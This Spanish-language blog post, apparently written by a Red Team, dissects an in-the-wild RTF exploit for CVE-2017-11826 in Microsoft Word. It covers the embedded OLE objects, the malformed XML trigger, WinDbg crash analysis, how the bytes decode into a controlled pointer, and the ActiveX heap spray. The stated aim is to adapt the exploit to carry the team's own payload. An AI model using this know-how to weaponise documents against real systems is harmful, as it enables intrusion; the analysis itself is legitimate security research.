Explotando Word: CVE-2017-11826
Tabla de contenidos
Coincidiendo con el inicio de una simulación de un APT por parte del Red Team, fue publicado un parche de Microsoft para corregir una vulnerabilidad (CVE-2017-11826) que afectaba a MS Office. El parche, que corregía una corrupción de memoria, fue publicado el 10 de Octubre. El 11 de Octubre la firma Qihoo 360 Core Security reportó haber encontrado malware explotando dicha vulnerabilidad durante el mes anterior (Septiembre).
Dada la exsitencia de una muestra de malware que explotaba esta vulnerabilidad, y el lapso de tiempo entre la publicación del parche y su aplicación, se optó por enfocar el ejercicio del Red Team partiendo de esta vulnerabilidad. En este artículo describiremos el contenido del archivo, y explicaremos como podemos modificar el exploit de Word para que ejecute nuestra carga útil, permitiéndonos usarlo para implantar nuestra propia solución APT.
0x01 – Análisis inicial del archivo con CVE-2017-11826
El exploit que se encontró es un archivo RTF. Analizando su contenido encontramos los siguientes componentes:
$ rtfobj cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 rtfobj 0.51 - https://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package | |class name: '' | | |data size: N/A | ---+----------+-------------------------------+------------------------------- 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 53248 | ---+----------+-------------------------------+------------------------------- 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 14336 | ---+----------+-------------------------------+-------------------------------
Si mostramos el contenido del RTF con una pequeña herramienta creada para la ocasión y examinamos los tres objetos, nos encontramos lo siguiente:
$ python2 rtf.py --input cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 --dump [...] \object \objemb \* \oleclsid \'7bD5DE8D20-5BB8-11D1-A1E3-00A0C90F2731 \'7d \* \objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000 \result \pict \wmetafile8 \picw1 \pich1 \ \object \objemb \objsetsize \objw9361 \objh764 \* \objclass Word.Document.12 \* \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000d00000d0cf11e0a1b11ae [...] \object \objemb \objsetsize \objw9361 \objh764 \* \objclass Word.Document.12 \* \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000380000d0cf11e0a1b11ae1
El primer objeto carga la librería identificada por el CLSID D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731. Podemos acceder al registro de Windows para saber a qué se refiere:
C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT /F "D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731" /c /s HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731} End of search: 1 match(es) found. C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\ HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731} (Default) REG_SZ VBPropertyBag HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32 C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32 HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32 (Default) REG_SZ C:\Windows\SysWOW64\msvbvm60.dll ThreadingModel REG_SZ Apartment
Esto hará que Word cargue esta DLL en memoria. ¿Qué tiene de especial esta librería?
Luego, la intención al cargar este módulo es tener una librería en una dirección conocida, para poder utilizar su código más adelante.
Los otros dos objetos incrustados en el RTF son dos archivos de Word. Podemos utilizar rtfobj para extraerlos:
$ rtfobj -s all cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 rtfobj 0.51 - https://decalage.info/python/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues =============================================================================== File: 'cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5' - size: 680268 bytes ---+----------+-------------------------------+------------------------------- id |index |OLE Object |OLE Package ---+----------+-------------------------------+------------------------------- 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package | |class name: '' | | |data size: N/A | ---+----------+-------------------------------+------------------------------- 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 53248 | ---+----------+-------------------------------+------------------------------- 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package | |class name: 'Word.Document.12' | | |data size: 14336 | ---+----------+-------------------------------+------------------------------- Saving raw data in object #0: saving object to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw Saving file embedded in OLE object #1: format_id = 2 class name = 'Word.Document.12' data size = 53248 saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc Saving file embedded in OLE object #2: format_id = 2 class name = 'Word.Document.12' data size = 14336 saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc $ l total 748K drwxr-xr-x 2 i i 4.0K Nov 30 11:27 . drwxr-xr-x 11 i i 4.0K Nov 30 11:27 .. -rw-r--r-- 1 i i 665K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 -rw-r--r-- 1 i i 45 Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw -rw-r--r-- 1 i i 52K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -rw-r--r-- 1 i i 14K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc $ file * cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5: Rich Text Format data, version 1, unknown character set cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw: locale data table cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc: Composite Document File V2 Document, Cannot read section info cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc: Composite Document File V2 Document, Cannot read section info $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -d 00039807.doc [55/515] Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc]: 1536 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: 00039807.doc/docProps/app.xml inflating: 00039807.doc/docProps/core.xml creating: 00039807.doc/word/activeX/ inflating: 00039807.doc/word/activeX/activeX1.bin inflating: 00039807.doc/word/activeX/activeX1.xml inflating: 00039807.doc/word/activeX/activeX10.xml inflating: 00039807.doc/word/activeX/activeX11.xml inflating: 00039807.doc/word/activeX/activeX12.xml inflating: 00039807.doc/word/activeX/activeX13.xml inflating: 00039807.doc/word/activeX/activeX14.xml inflating: 00039807.doc/word/activeX/activeX15.xml inflating: 00039807.doc/word/activeX/activeX16.xml inflating: 00039807.doc/word/activeX/activeX17.xml inflating: 00039807.doc/word/activeX/activeX18.xml inflating: 00039807.doc/word/activeX/activeX19.xml inflating: 00039807.doc/word/activeX/activeX2.xml inflating: 00039807.doc/word/activeX/activeX20.xml inflating: 00039807.doc/word/activeX/activeX21.xml inflating: 00039807.doc/word/activeX/activeX22.xml inflating: 00039807.doc/word/activeX/activeX23.xml inflating: 00039807.doc/word/activeX/activeX24.xml inflating: 00039807.doc/word/activeX/activeX25.xml inflating: 00039807.doc/word/activeX/activeX26.xml inflating: 00039807.doc/word/activeX/activeX27.xml inflating: 00039807.doc/word/activeX/activeX28.xml inflating: 00039807.doc/word/activeX/activeX29.xml inflating: 00039807.doc/word/activeX/activeX3.xml inflating: 00039807.doc/word/activeX/activeX30.xml inflating: 00039807.doc/word/activeX/activeX31.xml inflating: 00039807.doc/word/activeX/activeX32.xml inflating: 00039807.doc/word/activeX/activeX33.xml inflating: 00039807.doc/word/activeX/activeX34.xml inflating: 00039807.doc/word/activeX/activeX35.xml inflating: 00039807.doc/word/activeX/activeX36.xml inflating: 00039807.doc/word/activeX/activeX37.xml inflating: 00039807.doc/word/activeX/activeX38.xml inflating: 00039807.doc/word/activeX/activeX39.xml inflating: 00039807.doc/word/activeX/activeX4.xml inflating: 00039807.doc/word/activeX/activeX40.xml inflating: 00039807.doc/word/activeX/activeX5.xml inflating: 00039807.doc/word/activeX/activeX6.xml inflating: 00039807.doc/word/activeX/activeX7.xml inflating: 00039807.doc/word/activeX/activeX8.xml inflating: 00039807.doc/word/activeX/activeX9.xml creating: 00039807.doc/word/activeX/_rels/ inflating: 00039807.doc/word/activeX/_rels/activeX1.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX10.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX11.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX12.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX13.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX14.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX15.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX16.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX17.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX18.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX19.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX2.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX20.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX21.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX22.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX23.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX24.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX25.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX26.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX27.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX28.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX29.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX3.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX30.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX31.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX32.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX33.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX34.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX35.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX36.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX37.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX38.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX39.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX4.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX40.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX5.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX6.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX7.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX8.xml.rels inflating: 00039807.doc/word/activeX/_rels/activeX9.xml.rels inflating: 00039807.doc/word/document.xml inflating: 00039807.doc/word/fontTable.xml inflating: 00039807.doc/word/media/image1.wmf inflating: 00039807.doc/word/settings.xml inflating: 00039807.doc/word/styles.xml inflating: 00039807.doc/word/theme/theme1.xml inflating: 00039807.doc/word/webSettings.xml inflating: 00039807.doc/word/_rels/document.xml.rels inflating: 00039807.doc/[Content_Types].xml inflating: 00039807.doc/_rels/.rels $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -d 000538E9.doc Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc]: 1536 extra bytes at beginning or within zipfile (attempting to process anyway) inflating: 000538E9.doc/docProps/app.xml inflating: 000538E9.doc/docProps/core.xml inflating: 000538E9.doc/word/document.xml inflating: 000538E9.doc/word/endnotes.xml inflating: 000538E9.doc/word/fontTable.xml inflating: 000538E9.doc/word/footnotes.xml inflating: 000538E9.doc/word/settings.xml inflating: 000538E9.doc/word/styles.xml inflating: 000538E9.doc/word/theme/theme1.xml inflating: 000538E9.doc/word/webSettings.xml inflating: 000538E9.doc/word/_rels/document.xml.rels inflating: 000538E9.doc/[Content_Types].xml inflating: 000538E9.doc/_rels/.rels
unzip nos avisa de que antes del ZIP tenemos 1536 bytes extra. Esto es debido a que los objetos extraído del RTF no son docx directamente, sino CDF. Esto es un formato de archivo creado por Microsoft que básicamente es un contenedor de archivos (https://en.wikipedia.org/wiki/Compound_File_Binary_Format)
Más tarde veremos como procesar estos archivos, pero de momento continuemos con el análisis de los dos documentos extraídos.
0x02 – Análisis del trigger de la vulnerabilidad
Este archivo apenas tiene contenido. Podemos comenzar examinando el archivo document.xml:
$ xmllint word/document.xml word/document.xml:7: parser error : Opening and ending tag mismatch: font line 6 and OLEObject ^ word/document.xml:8: parser error : Opening and ending tag mismatch: OLEObject line 5 and shapeDefaults ^ word/document.xml:9: parser error : Opening and ending tag mismatch: shapeDefaults line 4 and body ^ word/document.xml:10: parser error : Opening and ending tag mismatch: body line 3 and document ^ word/document.xml:10: parser error : Premature end of data in tag document line 2
Por lo visto este documento no está bien formado, puesto que tiene tags XML cuyo principio y fin no coinciden.
$ cat word/document.xml
El tag w:font está cerrado con un tag o:idmap . Podemos ver también una serie de caracteres extraños en su contenido:
[0x00000000 0% 2304 word/document.xml]> xc - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0123456789ABCDEF comment [...] 0x000002a0 6175 6c74 7320 3e0d 0a09 0909 3c6f 3a4f 4c45 4f62 6a65 6374 203e 0d0a 0909 0909 aults >........... 0x000002c0 3c77 3a66 6f6e 7420 773a 6e61 6d65 3d22 4c69 6e63 6572 4368 6172 4368 6172 e8a3 ... 0x00000300 0909 3c2f 6f3a 4f4c 454f 626a 6563 743e 0d0a 0909 3c2f 773a 7368 6170 6544 6566 ......</w:shapeDef 0x00000320 6175 6c74 733e 0d0a 093c 2f77 3a62 6f64 793e 0d0a 3c2f 773a 646f 6375 6d65 6e74 aults>.....</w:document 0x00000340 3eff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff >...............................
Los bytes son e8a3ace0a288. Anotemos este valor para más adelante.
Pasemos a hacer una breve prueba bajo el depurador de la ejecución del exploit. Para ello, abrimos el documento con word y nos attacheamos con Windbg.
0:014> g ModLoad: 69700000 6978c000 C:\Windows\SysWOW64\UIAutomationCore.DLL ModLoad: 75510000 75515000 C:\Windows\syswow64\PSAPI.DLL ModLoad: 696c0000 696fc000 C:\Windows\SysWOW64\OLEACC.dll (814.e80): Unknown exception - code e0000002 (first chance) ModLoad: 69680000 696b1000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV ModLoad: 69660000 6967f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll ModLoad: 69630000 6965f000 SHDOCVW.dll ModLoad: 69600000 6962f000 C:\Windows\SysWOW64\shdocvw.dll ModLoad: 69680000 696be000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV ModLoad: 69640000 6965f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll ModLoad: 69640000 69671000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV ModLoad: 696a0000 696bf000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll ModLoad: 69640000 6967e000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV ModLoad: 69680000 6969f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll (814.e80): Unknown exception - code e0000002 (first chance) (814.e80): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll - eax=088888ec ebx=00000000 ecx=088888ec edx=00000004 esi=0937b008 edi=0938854c eip=6f6c82a3 esp=0029457c ebp=002945e8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 wwlib!DllGetLCID+0x2e1e19: 6f6c82a3 8b08 mov ecx,dword ptr [eax] ds:002b:088888ec=????????
Algo falla en el exploit, ya que Windbg ha cazado un crash por una lectura de una dirección de memoria inválida. Algo de contexto:
0:000> ub;u wwlib!DllGetLCID+0x2e1dfc: 6f6c8286 0f84d268e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c828c 8b4944 mov ecx,dword ptr [ecx+44h] 6f6c828f 85c9 test ecx,ecx 6f6c8291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c8297 8b4744 mov eax,dword ptr [edi+44h] 6f6c829a 894844 mov dword ptr [eax+44h],ecx 6f6c829d 8b4744 mov eax,dword ptr [edi+44h] 6f6c82a0 8b4044 mov eax,dword ptr [eax+44h] wwlib!DllGetLCID+0x2e1e19: 6f6c82a3 8b08 mov ecx,dword ptr [eax] 6f6c82a5 50 push eax 6f6c82a6 ff5104 call dword ptr [ecx+4] 6f6c82a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (6f55eb5e) 6f6c82ae 83f802 cmp eax,2 6f6c82b1 750f jne wwlib!DllGetLCID+0x2e1e38 (6f6c82c2) 6f6c82b3 8d4624 lea eax,[esi+24h] 6f6c82b6 50 push eax
Parece que la función en la que nos encontramos está leyendo un objeto desde eax y posteriormente llamando a un método en el offset 0x04, pasando su propia referencia en eax de nuevo.
¿De dónde viene el valor 0x088888ec, que está provocando un crash? Volvamos al contenido de document.xml que examinamos previamente. Allí vimos el valor extraño e8a3ace0a288. ¿Pueden tener alguna relación?
Los archivos XML de office están codificados en UTF-8. Sin embargo, las aplicaciones de Windows utilizan UTF-16 internamente:
$ python2 Python 2.7.14 (default, Sep 20 2017, 01:25:59) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> x = "e8a3ace0a288".decode("hex") >>> unicode(x.decode("utf-8")).encode("utf-16-le") '\xec\x88\x88\x08' >>> hex(struct.unpack("<L", "\xec\x88\x88\x08")[0]) '0x88888ec'
Bingo :)
Luego, modificando este valor, podemos conseguir que Word lleve a cabo las siguientes operaciones. Digamos que asignamos un valor X a eax:
6f6c82a3 8b08 mov ecx,dword ptr [X] 6f6c82a5 50 push X 6f6c82a6 ff5104 call dword ptr [X+4]
Por lo tanto, para poder controlar EIP, necesitamos colocar en una dirección de memoria controlada algo tal que:
Dirección Valor X X X + 4 EIP objetivo
¿Cómo lograr complir estas condiciones? Los autores del exploit lo hicieron mediante un heap spray.
0x03 – Análisis del heap spray
Examinando el contenido del primer objeto, cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc, inmediatamente nos llama la atención que contiene 40 objetos activeX. Esto nos recuerda a la técnica clásica de heap spraying en Office.
Veamos el contenido de document.xml, el cual describe el contenido del archivo:
[...] <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1060" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId6" w:name="Image117" w:shapeid="_x0000_i1060"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1058" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId7" w:name="Image116" w:shapeid="_x0000_i1058"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1056" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId8" w:name="Image115" w:shapeid="_x0000_i1056"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1054" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId9" w:name="Image114" w:shapeid="_x0000_i1054"/> </w:object> </w:r> <w:r> <w:object w:dxaOrig="1440" w:dyaOrig="1440"> <v:shape id="_x0000_i1052" type="#_x0000_t75" style="width:1in;height:1in" o:ole=""> <v:imagedata r:id="rId4" o:title=""/> </v:shape> <w:control r:id="rId10" w:name="Image113" w:shapeid="_x0000_i1052"/> </w:object> </w:r> <w:r> [...]
Para no hacer el post excesivamente largo se ha recortado el documento, pero el original contiene varios controles embebidos, desde el rId5 hasta el rId44. Si examinamos las referencias en el archivo word/_rels/document.xml.rels:
<Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId8" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX4.xml"/> <Relationship Id="rId13" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX9.xml"/> <Relationship Id="rId18" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX14.xml"/> <Relationship Id="rId26" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX22.xml"/> <Relationship Id="rId39" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX35.xml"/> <Relationship Id="rId3" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/> <Relationship Id="rId21" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX17.xml"/> <Relationship Id="rId34" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX30.xml"/> <Relationship Id="rId42" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX38.xml"/> <Relationship Id="rId7" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX3.xml"/> <Relationship Id="rId12" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX8.xml"/> <Relationship Id="rId17" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX13.xml"/> <Relationship Id="rId25" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX21.xml"/> <Relationship Id="rId33" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX29.xml"/> <Relationship Id="rId38" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX34.xml"/> <Relationship Id="rId46" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/> <Relationship Id="rId2" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/> <Relationship Id="rId16" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX12.xml"/> <Relationship Id="rId20" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX16.xml"/> <Relationship Id="rId29" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX25.xml"/> <Relationship Id="rId41" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX37.xml"/> <Relationship Id="rId1" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/> <Relationship Id="rId6" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX2.xml"/> <Relationship Id="rId11" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX7.xml"/> <Relationship Id="rId24" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX20.xml"/> <Relationship Id="rId32" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX28.xml"/> <Relationship Id="rId37" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX33.xml"/> <Relationship Id="rId40" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX36.xml"/> <Relationship Id="rId45" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/> <Relationship Id="rId5" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX1.xml"/> <Relationship Id="rId15" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX11.xml"/> <Relationship Id="rId23" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX19.xml"/> <Relationship Id="rId28" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX24.xml"/> <Relationship Id="rId36" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX32.xml"/> <Relationship Id="rId10" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX6.xml"/> <Relationship Id="rId19" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX15.xml"/> <Relationship Id="rId31" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX27.xml"/> <Relationship Id="rId44" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX40.xml"/> <Relationship Id="rId4" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.wmf"/> <Relationship Id="rId9" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX5.xml"/> <Relationship Id="rId14" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX10.xml"/> <Relationship Id="rId22" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX18.xml"/> <Relationship Id="rId27" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX23.xml"/> <Relationship Id="rId30" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX26.xml"/> <Relationship Id="rId35" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX31.xml"/> <Relationship Id="rId43" Type="https://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Target="activeX/activeX39.xml"/> </Relationships>
Observamos que la gran mayoría apunta a los controles activeX. Estos documentos son todos idénticos y contienen:
<ax:ocx xmlns:ax="https://schemas.microsoft.com/office/2006/activeX" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1"/>
Podemos encontrar las relaciones en la carpeta word/activeX/_rels. De nuevo, son todas idénticas y contienen:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="https://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/> </Relationships>
Por lo que el objeto incrustado repetidas veces se encuentra en word/activeX/activeX1.bin.
$ file word/activeX/activeX1.bin word/activeX/activeX1.bin: Composite Document File V2 Document, Cannot read section info
De nuevo es un objeto CDF. El contenido de este objeto será cargado repetidas veces, efectivamente creando un spray en el heap, de modo que podamos tener datos controlados en direcciones fijas de memoria.
El contenido real del archivo, una vez saltada la cabecera, comienza en el offset 0x800. Aquí podemos observar que se repite la secuencia cb40 9472 ec83 8808 hasta llegar al offset 0x00000f30, en el que encontramos cb40 9472 d010 9472 seguido de bytes sin ningún patrón, para terminar con 2b0e 9872 repetido hasta el offset 0x00001800. Aquí podemos ver que toda la secuencia anterior se repite hasta el final del archivo.
